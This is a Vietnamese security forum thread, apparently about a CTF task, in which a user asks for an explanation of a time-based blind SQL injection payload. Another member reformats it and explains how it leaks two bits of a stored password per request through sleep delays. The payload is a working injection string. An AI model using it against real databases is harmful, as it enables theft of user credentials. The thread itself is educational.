SQL help

yuanctf

Wh------
28/08/2016
4
10 bài viết
SQL help
Có một bài, nhờ mọi người giải thích giúp mình giải thích mấy câu truy vấn này được không ạ?. Mình cảm ơn!
ASC,(select (case field(concat(substring(bin(ascii(substring(password,1,1))),1,1),substring(bin(ascii(substring(password,1,1))),2,1)),concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)))when 1 then TRUE when 2 then sleep(2) when 3 then sleep(4) when 4 then sleep(6) end) from membres where id=1)
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
theo mình nghĩ thì
chia ra như này dễ nhìn hơn bạn ạ

ASC,
(select (case
field(
concat(
substring(bin(ascii(substring(password,1,1))),1,1),
substring(bin(ascii(substring(password,1,1))),2,1)
)
,
concat(char(48),char(48))
,
concat(char(48),char(49))
,
concat(char(49),char(48))
,
concat (char(49),char(49)))
when 1 then TRUE
when 2 then sleep(2)
when 3 then sleep(4)
when 4 then sleep(6) end)

from membres where id=1)

theo minh thì có thể giải thích như này:
- ASC: cái này chắc bạn copy thừ từ câu truy vấn trước
- case ... when: cái này như là switch/case trong C vậy
- field(sstr, str1,str2...): so sánh xâu sstr llần lượt với các xâu str1, str2 nếu gặp xâu giống sẽ trả về vị trí cửa xâu trùng
- concat: nối xâu
- substr : lấy xâu con

câu lệnh này là lấy 2 bit của password của memmber id=1, nếu ko sleep thì 2 bit là 00, sleep(2) là 01 và vvvvv..
Goodluck!
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Cảm ơn bạn avnh !
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bài viết liên quan
  • Thắc mắc SQLi
  • Bên trên